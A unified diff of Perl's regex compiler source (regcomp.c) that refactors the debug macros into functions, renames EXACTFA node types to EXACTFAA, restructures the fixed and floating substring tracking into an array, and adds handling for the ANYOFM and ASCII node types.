-    Perl_re_indentf( aTHX_  "" str "Pos:%" IVdf "/%" IVdf            \
-        " Flags: 0x%" UVXf,                                          \
-        depth,                                                       \
-        (IV)((data)->pos_min),                                       \
-        (IV)((data)->pos_delta),                                     \
-        (UV)((data)->flags)                                          \
-    );                                                               \
-    DEBUG_SHOW_STUDY_FLAGS((data)->flags," [ ","]");                 \
-    Perl_re_printf( aTHX_                                            \
-        " Whilem_c: %" IVdf " Lcp: %" IVdf " %s",                    \
-        (IV)((data)->whilem_c),                                      \
-        (IV)((data)->last_closep ? *((data)->last_closep) : -1),     \
-        is_inf ? "INF " : ""                                         \
-    );                                                               \
-    if ((data)->last_found)                                          \
-        Perl_re_printf( aTHX_                                        \
-            "Last:'%s' %" IVdf ":%" IVdf "/%" IVdf                   \
-            " %sFixed:'%s' @ %" IVdf                                 \
-            " %sFloat: '%s' @ %" IVdf "/%" IVdf,                     \
-            SvPVX_const((data)->last_found),                         \
-            (IV)((data)->last_end),                                  \
-            (IV)((data)->last_start_min),                            \
-            (IV)((data)->last_start_max),                            \
-            ((data)->longest &&                                      \
-             (data)->longest==&((data)->longest_fixed)) ? "*" : "",  \
-            SvPVX_const((data)->longest_fixed),                      \
-            (IV)((data)->offset_fixed),                              \
-            ((data)->longest &&                                      \
-             (data)->longest==&((data)->longest_float)) ? "*" : "",  \
-            SvPVX_const((data)->longest_float),                      \
-            (IV)((data)->offset_float_min),                          \
-            (IV)((data)->offset_float_max)                           \
-        );                                                           \
-    Perl_re_printf( aTHX_ "\n");                                                 \
-});
+    Perl_re_printf( aTHX_  "%s", open_str);
+    DEBUG_SHOW_STUDY_FLAG(flags, SF_BEFORE_SEOL);
+    DEBUG_SHOW_STUDY_FLAG(flags, SF_BEFORE_MEOL);
+    DEBUG_SHOW_STUDY_FLAG(flags, SF_IS_INF);
+    DEBUG_SHOW_STUDY_FLAG(flags, SF_HAS_PAR);
+    DEBUG_SHOW_STUDY_FLAG(flags, SF_IN_PAR);
+    DEBUG_SHOW_STUDY_FLAG(flags, SF_HAS_EVAL);
+    DEBUG_SHOW_STUDY_FLAG(flags, SCF_DO_SUBSTR);
+    DEBUG_SHOW_STUDY_FLAG(flags, SCF_DO_STCLASS_AND);
+    DEBUG_SHOW_STUDY_FLAG(flags, SCF_DO_STCLASS_OR);
+    DEBUG_SHOW_STUDY_FLAG(flags, SCF_DO_STCLASS);
+    DEBUG_SHOW_STUDY_FLAG(flags, SCF_WHILEM_VISITED_POS);
+    DEBUG_SHOW_STUDY_FLAG(flags, SCF_TRIE_RESTUDY);
+    DEBUG_SHOW_STUDY_FLAG(flags, SCF_SEEN_ACCEPT);
+    DEBUG_SHOW_STUDY_FLAG(flags, SCF_TRIE_DOING_RESTUDY);
+    DEBUG_SHOW_STUDY_FLAG(flags, SCF_IN_DEFINE);
+    Perl_re_printf( aTHX_  "%s", close_str);
+}
 
 
+static void
+S_debug_studydata(pTHX_ const char *where, scan_data_t *data,
+                    U32 depth, int is_inf)
+{
+    GET_RE_DEBUG_FLAGS_DECL;
+
+    DEBUG_OPTIMISE_MORE_r({
+        if (!data)
+            return;
+        Perl_re_indentf(aTHX_  "%s: Pos:%" IVdf "/%" IVdf " Flags: 0x%" UVXf,
+            depth,
+            where,
+            (IV)data->pos_min,
+            (IV)data->pos_delta,
+            (UV)data->flags
+        );
+
+        S_debug_show_study_flags(aTHX_ data->flags," [","]");
+
+        Perl_re_printf( aTHX_
+            " Whilem_c: %" IVdf " Lcp: %" IVdf " %s",
+            (IV)data->whilem_c,
+            (IV)(data->last_closep ? *((data)->last_closep) : -1),
+            is_inf ? "INF " : ""
+        );
+
+        if (data->last_found) {
+            int i;
+            Perl_re_printf(aTHX_
+                "Last:'%s' %" IVdf ":%" IVdf "/%" IVdf,
+                    SvPVX_const(data->last_found),
+                    (IV)data->last_end,
+                    (IV)data->last_start_min,
+                    (IV)data->last_start_max
+            );
+
+            for (i = 0; i < 2; i++) {
+                Perl_re_printf(aTHX_
+                    " %s%s: '%s' @ %" IVdf "/%" IVdf,
+                    data->cur_is_floating == i ? "*" : "",
+                    i ? "Float" : "Fixed",
+                    SvPVX_const(data->substrs[i].str),
+                    (IV)data->substrs[i].min_offset,
+                    (IV)data->substrs[i].max_offset
+                );
+                S_debug_show_study_flags(aTHX_ data->substrs[i].flags," [","]");
+            }
+        }
+
+        Perl_re_printf( aTHX_ "\n");
+    });
+}
+
+
+static void
+S_debug_peep(pTHX_ const char *str, const RExC_state_t *pRExC_state,
+                regnode *scan, U32 depth, U32 flags)
+{
+    GET_RE_DEBUG_FLAGS_DECL;
+
+    DEBUG_OPTIMISE_r({
+        regnode *Next;
+
+        if (!scan)
+            return;
+        Next = regnext(scan);
+        regprop(RExC_rx, RExC_mysv, scan, NULL, pRExC_state);
+        Perl_re_indentf( aTHX_   "%s>%3d: %s (%d)",
+            depth,
+            str,
+            REG_NODE_NUM(scan), SvPV_nolen_const(RExC_mysv),
+            Next ? (REG_NODE_NUM(Next)) : 0 );
+        S_debug_show_study_flags(aTHX_ flags," [ ","]");
+        Perl_re_printf( aTHX_  "\n");
+   });
+}
+
+
+#  define DEBUG_STUDYDATA(where, data, depth, is_inf) \
+                    S_debug_studydata(aTHX_ where, data, depth, is_inf)
+
+#  define DEBUG_PEEP(str, scan, depth, flags)   \
+                    S_debug_peep(aTHX_ str, pRExC_state, scan, depth, flags)
+
+#else
+#  define DEBUG_STUDYDATA(where, data, depth, is_inf) NOOP
+#  define DEBUG_PEEP(str, scan, depth, flags)         NOOP
+#endif
+
+
 /* =========================================================
  * BEGIN edit_distance stuff.
  *
@@ -1056,7 +1153,7 @@
 push(UV key,item* curr)
 {
     item* head;
-    Newxz(head, 1, item);
+    Newx(head, 1, item);
     head->key = key;
     head->value = 0;
     head->next = curr;
@@ -1126,7 +1223,7 @@
     PERL_ARGS_ASSERT_EDIT_DISTANCE;
 
     /* intialize matrix start values */
-    Newxz(scores, ( (x + 2) * (y + 2)), UV);
+    Newx(scores, ( (x + 2) * (y + 2)), UV);
     scores[0] = score_ceil;
     scores[1 * (y + 2) + 0] = score_ceil;
     scores[0 * (y + 2) + 1] = score_ceil;
@@ -1201,7 +1298,7 @@
 }
 
 /* Mark that we cannot extend a found fixed substring at this point.
-   Update the longest found anchored substring and the longest found
+   Update the longest found anchored substring or the longest found
    floating substrings if needed. */
 
 STATIC void
@@ -1209,42 +1306,38 @@
                     SSize_t *minlenp, int is_inf)
 {
     const STRLEN l = CHR_SVLEN(data->last_found);
-    const STRLEN old_l = CHR_SVLEN(*data->longest);
+    SV * const longest_sv = data->substrs[data->cur_is_floating].str;
+    const STRLEN old_l = CHR_SVLEN(longest_sv);
     GET_RE_DEBUG_FLAGS_DECL;
 
     PERL_ARGS_ASSERT_SCAN_COMMIT;
 
     if ((l >= old_l) && ((l > old_l) || (data->flags & SF_BEFORE_EOL))) {
-	SvSetMagicSV(*data->longest, data->last_found);
-	if (*data->longest == data->longest_fixed) {
-	    data->offset_fixed = l ? data->last_start_min : data->pos_min;
-	    if (data->flags & SF_BEFORE_EOL)
-		data->flags
-		    |= ((data->flags & SF_BEFORE_EOL) << SF_FIX_SHIFT_EOL);
-	    else
-		data->flags &= ~SF_FIX_BEFORE_EOL;
-	    data->minlen_fixed=minlenp;
-	    data->lookbehind_fixed=0;
-	}
-	else { /* *data->longest == data->longest_float */
-	    data->offset_float_min = l ? data->last_start_min : data->pos_min;
-	    data->offset_float_max = (l
+        const U8 i = data->cur_is_floating;
+	SvSetMagicSV(longest_sv, data->last_found);
+        data->substrs[i].min_offset = l ? data->last_start_min : data->pos_min;
+
+	if (!i) /* fixed */
+	    data->substrs[0].max_offset = data->substrs[0].min_offset;
+	else { /* float */
+	    data->substrs[1].max_offset = (l
                           ? data->last_start_max
                           : (data->pos_delta > SSize_t_MAX - data->pos_min
 					 ? SSize_t_MAX
 					 : data->pos_min + data->pos_delta));
 	    if (is_inf
-		 || (STRLEN)data->offset_float_max > (STRLEN)SSize_t_MAX)
-		data->offset_float_max = SSize_t_MAX;
-	    if (data->flags & SF_BEFORE_EOL)
-		data->flags
-		    |= ((data->flags & SF_BEFORE_EOL) << SF_FL_SHIFT_EOL);
-	    else
-		data->flags &= ~SF_FL_BEFORE_EOL;
-            data->minlen_float=minlenp;
-            data->lookbehind_float=0;
-	}
+		 || (STRLEN)data->substrs[1].max_offset > (STRLEN)SSize_t_MAX)
+		data->substrs[1].max_offset = SSize_t_MAX;
+        }
+
+        if (data->flags & SF_BEFORE_EOL)
+            data->substrs[i].flags |= (data->flags & SF_BEFORE_EOL);
+        else
+            data->substrs[i].flags &= ~SF_BEFORE_EOL;
+        data->substrs[i].minlenp = minlenp;
+        data->substrs[i].lookbehind = 0;
     }
+
     SvCUR_set(data->last_found, 0);
     {
 	SV * const sv = data->last_found;
@@ -1256,7 +1349,7 @@
     }
     data->last_end = -1;
     data->flags &= ~SF_BEFORE_EOL;
-    DEBUG_STUDYDATA("commit: ",data,0);
+    DEBUG_STUDYDATA("commit", data, 0, is_inf);
 }
 
 /* An SSC is just a regnode_charclass_posix with an extra field: the inversion
@@ -1644,6 +1737,7 @@
             regnode_charclass_posixl temp;
             int add = 1;    /* To calculate the index of the complement */
 
+            Zero(&temp, 1, regnode_charclass_posixl);
             ANYOF_POSIXL_ZERO(&temp);
             for (i = 0; i < ANYOF_MAX; i++) {
                 assert(i % 2 != 0
@@ -2365,7 +2459,7 @@
 } STMT_END
 
 #define TRIE_LIST_NEW(state) STMT_START {                       \
-    Newxz( trie->states[ state ].trans.list,               \
+    Newx( trie->states[ state ].trans.list,                     \
 	4, reg_trie_trans_le );                                 \
      TRIE_LIST_CUR( state ) = 1;                                \
      TRIE_LIST_LEN( state ) = 4;                                \
@@ -2463,8 +2557,11 @@
     /* we just use folder as a flag in utf8 */
     const U8 * folder = NULL;
 
+    /* in the below add_data call we are storing either 'tu' or 'tuaa'
+     * which stands for one trie structure, one hash, optionally followed
+     * by two arrays */
 #ifdef DEBUGGING
-    const U32 data_slot = add_data( pRExC_state, STR_WITH_LEN("tuuu"));
+    const U32 data_slot = add_data( pRExC_state, STR_WITH_LEN("tuaa"));
     AV *trie_words = NULL;
     /* along with revcharmap, this only used during construction but both are
      * useful during debugging so we store them in the struct when debugging.
@@ -2483,7 +2580,7 @@
 
     switch (flags) {
         case EXACT: case EXACTL: break;
-	case EXACTFA:
+	case EXACTFAA:
         case EXACTFU_SS:
 	case EXACTFU:
 	case EXACTFLU8: folder = PL_fold_latin1; break;
@@ -3557,7 +3654,7 @@
     aho->trie=trie_offset;
     aho->states=(reg_trie_state *)PerlMemShared_malloc( numstates * sizeof(reg_trie_state) );
     Copy( trie->states, aho->states, numstates, reg_trie_state );
-    Newxz( q, numstates, U32);
+    Newx( q, numstates, U32);
     aho->fail = (U32 *) PerlMemShared_calloc( numstates, sizeof(U32) );
     aho->refcount = 1;
     fail = aho->fail;
@@ -3619,17 +3716,6 @@
 }
 
 
-#define DEBUG_PEEP(str,scan,depth)         \
-    DEBUG_OPTIMISE_r({if (scan){           \
-       regnode *Next = regnext(scan);      \
-       regprop(RExC_rx, RExC_mysv, scan, NULL, pRExC_state);\
-       Perl_re_indentf( aTHX_  "" str ">%3d: %s (%d)", \
-           depth, REG_NODE_NUM(scan), SvPV_nolen_const(RExC_mysv),\
-           Next ? (REG_NODE_NUM(Next)) : 0 );\
-       DEBUG_SHOW_STUDY_FLAGS(flags," [ ","]");\
-       Perl_re_printf( aTHX_  "\n");                   \
-   }});
-
 /* The below joins as many adjacent EXACTish nodes as possible into a single
  * one.  The regop may be changed if the node(s) contain certain sequences that
  * require special handling.  The joining is only done if:
@@ -3643,10 +3729,7 @@
  * XXX khw thinks this should be enhanced to fill EXACT (at least) nodes as full
  * as possible, even if that means splitting an existing node so that its first
  * part is moved to the preceeding node.  This would maximise the efficiency of
- * memEQ during matching.  Elsewhere in this file, khw proposes splitting
- * EXACTFish nodes into portions that don't change under folding vs those that
- * do.  Those portions that don't change may be the only things in the pattern that
- * could be used to find fixed and floating strings.
+ * memEQ during matching.
  *
  * If a node is to match under /i (folded), the number of characters it matches
  * can be different than its character length if it contains a multi-character
@@ -3654,14 +3737,16 @@
  * input nodes.
  *
  * And *unfolded_multi_char is set to indicate whether or not the node contains
- * an unfolded multi-char fold.  This happens when whether the fold is valid or
- * not won't be known until runtime; namely for EXACTF nodes that contain LATIN
- * SMALL LETTER SHARP S, as only if the target string being matched against
- * turns out to be UTF-8 is that fold valid; and also for EXACTFL nodes whose
- * folding rules depend on the locale in force at runtime.  (Multi-char folds
- * whose components are all above the Latin1 range are not run-time locale
- * dependent, and have already been folded by the time this function is
- * called.)
+ * an unfolded multi-char fold.  This happens when it won't be known until
+ * runtime whether the fold is valid or not; namely
+ *  1) for EXACTF nodes that contain LATIN SMALL LETTER SHARP S, as only if the
+ *      target string being matched against turns out to be UTF-8 is that fold
+ *      valid; or
+ *  2) for EXACTFL nodes whose folding rules depend on the locale in force at
+ *      runtime.
+ * (Multi-char folds whose components are all above the Latin1 range are not
+ * run-time locale dependent, and have already been folded by the time this
+ * function is called.)
  *
  * This is as good a place as any to discuss the design of handling these
  * multi-character fold sequences.  It's been wrong in Perl for a very long
@@ -3711,7 +3796,7 @@
  *      described in the next item.
  * 3)   A problem remains for unfolded multi-char folds. (These occur when the
  *      validity of the fold won't be known until runtime, and so must remain
- *      unfolded for now.  This happens for the sharp s in EXACTF and EXACTFA
+ *      unfolded for now.  This happens for the sharp s in EXACTF and EXACTFAA
  *      nodes when the pattern isn't in UTF-8.  (Note, BTW, that there cannot
  *      be an EXACTF node with a UTF-8 pattern.)  They also occur for various
  *      folds in EXACTFL nodes, regardless of the UTF-ness of the pattern.)
@@ -3721,13 +3806,13 @@
  *      character in the target string.  (And I do mean character, and not byte
  *      here, unlike other parts of the documentation that have never been
  *      updated to account for multibyte Unicode.)  sharp s in EXACTF and
- *      EXACTFL nodes can match the two character string 'ss'; in EXACTFA nodes
- *      it can match "\x{17F}\x{17F}".  These, along with other ones in EXACTFL
- *      nodes, violate the assumption, and they are the only instances where it
- *      is violated.  I'm reluctant to try to change the assumption, as the
- *      code involved is impenetrable to me (khw), so instead the code here
- *      punts.  This routine examines EXACTFL nodes, and (when the pattern
- *      isn't UTF-8) EXACTF and EXACTFA for such unfolded folds, and returns a
+ *      EXACTFL nodes can match the two character string 'ss'; in EXACTFAA
+ *      nodes it can match "\x{17F}\x{17F}".  These, along with other ones in
+ *      EXACTFL nodes, violate the assumption, and they are the only instances
+ *      where it is violated.  I'm reluctant to try to change the assumption,
+ *      as the code involved is impenetrable to me (khw), so instead the code
+ *      here punts.  This routine examines EXACTFL nodes, and (when the pattern
+ *      isn't UTF-8) EXACTF and EXACTFAA for such unfolded folds, and returns a
  *      boolean indicating whether or not the node contains such a fold.  When
  *      it is true, the caller sets a flag that later causes the optimizer in
  *      this file to not set values for the floating and fixed string lengths,
@@ -3734,7 +3819,7 @@
  *      and thus avoids the optimizer code in regexec.c that makes the invalid
  *      assumption.  Thus, there is no optimization based on string lengths for
  *      EXACTFL nodes that contain these few folds, nor for non-UTF8-pattern
- *      EXACTF and EXACTFA nodes that contain the sharp s.  (The reason the
+ *      EXACTF and EXACTFAA nodes that contain the sharp s.  (The reason the
  *      assumption is wrong only in these cases is that all other non-UTF-8
  *      folds are 1-1; and, for UTF-8 patterns, we pre-fold all other folds to
  *      their expanded versions.  (Again, we can't prefold sharp s to 'ss' in
@@ -3741,8 +3826,8 @@
  *      EXACTF nodes because we don't know at compile time if it actually
  *      matches 'ss' or not.  For EXACTF nodes it will match iff the target
  *      string is in UTF-8.  This is in contrast to EXACTFU nodes, where it
- *      always matches; and EXACTFA where it never does.  In an EXACTFA node in
- *      a UTF-8 pattern, sharp s is folded to "\x{17F}\x{17F}, avoiding the
+ *      always matches; and EXACTFAA where it never does.  In an EXACTFAA node
+ *      in a UTF-8 pattern, sharp s is folded to "\x{17F}\x{17F}, avoiding the
  *      problem; but in a non-UTF8 pattern, folding it to that above-Latin1
  *      string would require the pattern to be forced into UTF-8, the overhead
  *      of which we want to avoid.  Similarly the unfolded multi-char folds in
@@ -3751,9 +3836,9 @@
  *
  *      Similarly, the code that generates tries doesn't currently handle
  *      not-already-folded multi-char folds, and it looks like a pain to change
- *      that.  Therefore, trie generation of EXACTFA nodes with the sharp s
- *      doesn't work.  Instead, such an EXACTFA is turned into a new regnode,
- *      EXACTFA_NO_TRIE, which the trie code knows not to handle.  Most people
+ *      that.  Therefore, trie generation of EXACTFAA nodes with the sharp s
+ *      doesn't work.  Instead, such an EXACTFAA is turned into a new regnode,
+ *      EXACTFAA_NO_TRIE, which the trie code knows not to handle.  Most people
  *      using /iaa matching will be doing so almost entirely with ASCII
  *      strings, so this should rarely be encountered in practice */
 
@@ -3784,7 +3869,7 @@
     PERL_UNUSED_ARG(flags);
     PERL_UNUSED_ARG(val);
 #endif
-    DEBUG_PEEP("join",scan,depth);
+    DEBUG_PEEP("join", scan, depth, 0);
 
     /* Look through the subsequent nodes in the chain.  Skip NOTHING, merge
      * EXACT ones that are mergeable to the current one. */
@@ -3798,7 +3883,7 @@
         if (OP(n) == TAIL || n > next)
             stringok = 0;
         if (PL_regkind[OP(n)] == NOTHING) {
-            DEBUG_PEEP("skip:",n,depth);
+            DEBUG_PEEP("skip:", n, depth, 0);
             NEXT_OFF(scan) += NEXT_OFF(n);
             next = n + NODE_STEP_REGNODE;
 #ifdef DEBUGGING
@@ -3818,7 +3903,7 @@
             if (oldl + STR_LEN(n) > U8_MAX)
                 break;
 
-            DEBUG_PEEP("merg",n,depth);
+            DEBUG_PEEP("merg", n, depth, 0);
             merged++;
 
             NEXT_OFF(scan) += NEXT_OFF(n);
@@ -3835,7 +3920,7 @@
 
 #ifdef EXPERIMENTAL_INPLACESCAN
 	if (flags && !NEXT_OFF(n)) {
-	    DEBUG_PEEP("atch", val, depth);
+	    DEBUG_PEEP("atch", val, depth, 0);
 	    if (reg_off_by_arg[OP(n)]) {
 		ARG_SET(n, val - n);
 	    }
@@ -3933,10 +4018,10 @@
                 }
 
                 /* Nodes with 'ss' require special handling, except for
-                 * EXACTFA-ish for which there is no multi-char fold to this */
+                 * EXACTFAA-ish for which there is no multi-char fold to this */
                 if (len == 2 && *s == 's' && *(s+1) == 's'
-                    && OP(scan) != EXACTFA
-                    && OP(scan) != EXACTFA_NO_TRIE)
+                    && OP(scan) != EXACTFAA
+                    && OP(scan) != EXACTFAA_NO_TRIE)
                 {
                     count = 2;
                     if (OP(scan) != EXACTFL) {
@@ -3950,7 +4035,7 @@
                     /* Count how many characters are in it.  In the case of
                      * /aa, no folds which contain ASCII code points are
                      * allowed, so check for those, and skip if found. */
-                    if (OP(scan) != EXACTFA && OP(scan) != EXACTFA_NO_TRIE) {
+                    if (OP(scan) != EXACTFAA && OP(scan) != EXACTFAA_NO_TRIE) {
                         count = utf8_length(s, multi_end);
                         s = multi_end;
                     }
@@ -3988,9 +4073,9 @@
             *min_subtract += total_count_delta;
             Safefree(folded);
 	}
-	else if (OP(scan) == EXACTFA) {
+	else if (OP(scan) == EXACTFAA) {
 
-            /* Non-UTF-8 pattern, EXACTFA node.  There can't be a multi-char
+            /* Non-UTF-8 pattern, EXACTFAA node.  There can't be a multi-char
              * fold to the ASCII range (and there are no existing ones in the
              * upper latin1 range).  But, as outlined in the comments preceding
              * this function, we need to flag any occurrences of the sharp s.
@@ -4001,7 +4086,7 @@
                                       || UNICODE_DOT_DOT_VERSION > 0)
 	    while (s < s_end) {
                 if (*s == LATIN_SMALL_LETTER_SHARP_S) {
-                    OP(scan) = EXACTFA_NO_TRIE;
+                    OP(scan) = EXACTFAA_NO_TRIE;
                     *unfolded_multi_char = TRUE;
                     break;
                 }
@@ -4010,7 +4095,7 @@
         }
 	else {
 
-            /* Non-UTF-8 pattern, not EXACTFA node.  Look for the multi-char
+            /* Non-UTF-8 pattern, not EXACTFAA node.  Look for the multi-char
              * folds that are all Latin1.  As explained in the comments
              * preceding this function, we look also for the sharp s in EXACTF
              * and EXACTFL nodes; it can be in the final position.  Otherwise
@@ -4066,7 +4151,7 @@
         n++;
     }
 #endif
-    DEBUG_OPTIMISE_r(if (merged){DEBUG_PEEP("finl",scan,depth)});
+    DEBUG_OPTIMISE_r(if (merged){DEBUG_PEEP("finl", scan, depth, 0);});
     return stopnow;
 }
 
@@ -4093,7 +4178,7 @@
     } while (f);
 }
 
-
+/* the return from this sub is the minimum length that could possibly match */
 STATIC SSize_t
 S_study_chunk(pTHX_ RExC_state_t *pRExC_state, regnode **scanp,
                         SSize_t *minlenp, SSize_t *deltap,
@@ -4129,6 +4214,7 @@
     PERL_ARGS_ASSERT_STUDY_CHUNK;
     RExC_study_started= 1;
 
+    Zero(&data_fake, 1, scan_data_t);
 
     if ( depth == 0 ) {
         while (first_non_open && OP(first_non_open) == OPEN)
@@ -4180,8 +4266,8 @@
                                    the folded version may be shorter) */
 	bool unfolded_multi_char = FALSE;
 	/* Peephole optimizer: */
-        DEBUG_STUDYDATA("Peep:", data, depth);
-        DEBUG_PEEP("Peep", scan, depth);
+        DEBUG_STUDYDATA("Peep", data, depth, is_inf);
+        DEBUG_PEEP("Peep", scan, depth, flags);
 
 
         /* The reason we do this here is that we need to deal with things like
@@ -4225,17 +4311,18 @@
             StructCopy(&zero_scan_data, &data_fake, scan_data_t);
             scan = regnext(scan);
             assert( OP(scan) == IFTHEN );
-            DEBUG_PEEP("expect IFTHEN", scan, depth);
+            DEBUG_PEEP("expect IFTHEN", scan, depth, flags);
 
             data_fake.last_closep= &fake_last_close;
             minlen = *minlenp;
             next = regnext(scan);
             scan = NEXTOPER(NEXTOPER(scan));
-            DEBUG_PEEP("scan", scan, depth);
-            DEBUG_PEEP("next", next, depth);
+            DEBUG_PEEP("scan", scan, depth, flags);
+            DEBUG_PEEP("next", next, depth, flags);
 
             /* we suppose the run is continuous, last=next...
              * NOTE we dont use the return here! */
+            /* DEFINEP study_chunk() recursion */
             (void)study_chunk(pRExC_state, &scan, &minlen,
                               &deltanext, next, &data_fake, stopparen,
                               recursed_depth, NULL, f, depth+1);
@@ -4276,7 +4363,7 @@
 		    I32 f = 0;
 		    regnode_ssc this_class;
 
-                    DEBUG_PEEP("Branch", scan, depth);
+                    DEBUG_PEEP("Branch", scan, depth, flags);
 
 		    num++;
                     StructCopy(&zero_scan_data, &data_fake, scan_data_t);
@@ -4303,6 +4390,7 @@
 			f |= SCF_WHILEM_VISITED_POS;
 
 		    /* we suppose the run is continuous, last=next...*/
+                    /* recurse study_chunk() for each BRANCH in an alternation */
 		    minnext = study_chunk(pRExC_state, &scan, minlenp,
                                       &deltanext, next, &data_fake, stopparen,
                                       recursed_depth, NULL, f,depth+1);
@@ -4341,7 +4429,7 @@
 		    else
 		        data->pos_delta += max1 - min1;
 		    if (max1 != min1 || is_inf)
-			data->longest = &(data->longest_float);
+			data->cur_is_floating = 1;
 		}
 		min += min1;
 		if (delta == SSize_t_MAX
@@ -4507,7 +4595,7 @@
                                 EXACT           | EXACT
                                 EXACTFU         | EXACTFU
                                 EXACTFU_SS      | EXACTFU
-                                EXACTFA         | EXACTFA
+                                EXACTFAA         | EXACTFAA
                                 EXACTL          | EXACTL
                                 EXACTFLU8       | EXACTFLU8
 
@@ -4519,8 +4607,8 @@
                          ? EXACT                                            \
                          : ( EXACTFU == (X) || EXACTFU_SS == (X) )          \
                            ? EXACTFU                                        \
-                           : ( EXACTFA == (X) )                             \
-                             ? EXACTFA                                      \
+                           : ( EXACTFAA == (X) )                             \
+                             ? EXACTFAA                                      \
                              : ( EXACTL == (X) )                            \
                                ? EXACTL                                     \
                                : ( EXACTFLU8 == (X) )                        \
@@ -4779,16 +4867,16 @@
                              RExC_study_chunk_recursed_bytes, U8);
                     }
                     /* we havent recursed into this paren yet, so recurse into it */
-                    DEBUG_STUDYDATA("gosub-set:", data,depth);
+                    DEBUG_STUDYDATA("gosub-set", data, depth, is_inf);
                     PAREN_SET(RExC_study_chunk_recursed + (recursed_depth * RExC_study_chunk_recursed_bytes), paren);
                     my_recursed_depth= recursed_depth + 1;
                 } else {
-                    DEBUG_STUDYDATA("gosub-inf:", data,depth);
+                    DEBUG_STUDYDATA("gosub-inf", data, depth, is_inf);
                     /* some form of infinite recursion, assume infinite length
                      * */
                     if (flags & SCF_DO_SUBSTR) {
                         scan_commit(pRExC_state, data, minlenp, is_inf);
-                        data->longest = &(data->longest_float);
+                        data->cur_is_floating = 1;
                     }
                     is_inf = is_inf_internal = 1;
                     if (flags & SCF_DO_STCLASS_OR) /* Allow everything */
@@ -4826,8 +4914,8 @@
                 newframe->prev_recursed_depth = recursed_depth;
                 newframe->this_prev_frame= frame;
 
-                DEBUG_STUDYDATA("frame-new:",data,depth);
-                DEBUG_PEEP("fnew", scan, depth);
+                DEBUG_STUDYDATA("frame-new", data, depth, is_inf);
+                DEBUG_PEEP("fnew", scan, depth, flags);
 
 	        frame = newframe;
 	        scan =  start;
@@ -4842,6 +4930,7 @@
 	else if (OP(scan) == EXACT || OP(scan) == EXACTL) {
 	    SSize_t l = STR_LEN(scan);
 	    UV uc;
+            assert(l);
 	    if (UTF) {
 		const U8 * const s = (U8*)STRING(scan);
 		uc = utf8_to_uvchr_buf(s, s + l, NULL);
@@ -4916,7 +5005,7 @@
                 }
                 data->pos_delta += min_subtract;
 		if (min_subtract) {
-		    data->longest = &(data->longest_float);
+		    data->cur_is_floating = 1; /* float */
 		}
 	    }
 
@@ -4983,7 +5072,7 @@
 		if (flags & SCF_DO_SUBSTR) {
                     scan_commit(pRExC_state, data, minlenp, is_inf);
                     /* Cannot extend fixed substrings */
-		    data->longest = &(data->longest_float);
+		    data->cur_is_floating = 1; /* float */
 		}
                 is_inf = is_inf_internal = 1;
                 scan = regnext(scan);
@@ -5038,6 +5127,7 @@
 		    f &= ~SCF_WHILEM_VISITED_POS;
 
 		/* This will finish on WHILEM, setting scan, or on NULL: */
+                /* recurse study_chunk() on loop bodies */
 		minnext = study_chunk(pRExC_state, &scan, minlenp, &deltanext,
                                   last, data, stopparen, recursed_depth, NULL,
                                   (mincount == 0
@@ -5073,7 +5163,7 @@
 		}
 		if (!scan) 		/* It was not CURLYX, but CURLY. */
 		    scan = next;
-		if (!(flags & SCF_TRIE_DOING_RESTUDY)
+		if (((flags & (SCF_TRIE_DOING_RESTUDY|SCF_DO_SUBSTR))==SCF_DO_SUBSTR)
 		    /* ? quantifier ok, except for (?{ ... }) */
 		    && (next_is_eval || !(mincount == 0 && maxcount == 1))
 		    && (minnext == 0) && (deltanext == 0)
@@ -5200,6 +5290,7 @@
 			}
 #endif
 			/* Optimize again: */
+                        /* recurse study_chunk() on optimised CURLYX => CURLYM */
 			study_chunk(pRExC_state, &nxt1, minlenp, &deltanext, nxt,
                                     NULL, stopparen, recursed_depth, NULL, 0,depth+1);
 		    }
@@ -5321,7 +5412,7 @@
 				? SSize_t_MAX
 				: data->pos_min + data->pos_delta - last_chrs;
 			}
-			data->longest = &(data->longest_float);
+			data->cur_is_floating = 1; /* float */
 		    }
 		    SvREFCNT_dec(last_str);
 		}
@@ -5345,7 +5436,7 @@
 		if (flags & SCF_DO_SUBSTR) {
                     /* Cannot expect anything... */
                     scan_commit(pRExC_state, data, minlenp, is_inf);
-		    data->longest = &(data->longest_float);
+		    data->cur_is_floating = 1; /* float */
 		}
 		is_inf = is_inf_internal = 1;
 		if (flags & SCF_DO_STCLASS_OR) {
@@ -5391,8 +5482,10 @@
                 /* Cannot expect anything... */
                 scan_commit(pRExC_state, data, minlenp, is_inf);
     	        data->pos_min += 1;
-	        data->pos_delta += 1;
-		data->longest = &(data->longest_float);
+                if (data->pos_delta != SSize_t_MAX) {
+                    data->pos_delta += 1;
+                }
+		data->cur_is_floating = 1; /* float */
     	    }
 	}
 	else if (REGNODE_SIMPLE(OP(scan))) {
@@ -5458,6 +5551,27 @@
                                                           (regnode_charclass *) scan);
 		    break;
 
+                case ANYOFM:
+                  {
+                    SV* cp_list = get_ANYOFM_contents(scan);
+
+                    if (flags & SCF_DO_STCLASS_OR) {
+                        ssc_union(data->start_class,
+                                  cp_list,
+                                  FALSE /* don't invert */
+                                  );
+                    }
+                    else if (flags & SCF_DO_STCLASS_AND) {
+                        ssc_intersection(data->start_class,
+                                         cp_list,
+                                         FALSE /* don't invert */
+                                         );
+                    }
+
+                    SvREFCNT_dec_NN(cp_list);
+                    break;
+                  }
+
 		case NPOSIXL:
                     invert = 1;
                     /* FALLTHROUGH */
@@ -5498,20 +5612,25 @@
                     }
                     break;
 
+                case NASCII:
+                    invert = 1;
+                    /* FALLTHROUGH */
+		case ASCII:
+                    my_invlist = invlist_clone(PL_XPosix_ptrs[_CC_ASCII]);
+
+                    /* This can be handled as a Posix class */
+                    goto join_posix_and_ascii;
+
                 case NPOSIXA:   /* For these, we always know the exact set of
                                    what's matched */
                     invert = 1;
                     /* FALLTHROUGH */
 		case POSIXA:
-                    if (FLAGS(scan) == _CC_ASCII) {
-                        my_invlist = invlist_clone(PL_XPosix_ptrs[_CC_ASCII]);
-                    }
-                    else {
-                        _invlist_intersection(PL_XPosix_ptrs[FLAGS(scan)],
-                                              PL_XPosix_ptrs[_CC_ASCII],
-                                              &my_invlist);
-                    }
-                    goto join_posix;
+                    assert(FLAGS(scan) != _CC_ASCII);
+                    _invlist_intersection(PL_XPosix_ptrs[FLAGS(scan)],
+                                          PL_XPosix_ptrs[_CC_ASCII],
+                                          &my_invlist);
+                    goto join_posix_and_ascii;
 
 		case NPOSIXD:
 		case NPOSIXU:
@@ -5531,7 +5650,7 @@
                                           &my_invlist);
                     }
 
-                  join_posix:
+                  join_posix_and_ascii:
 
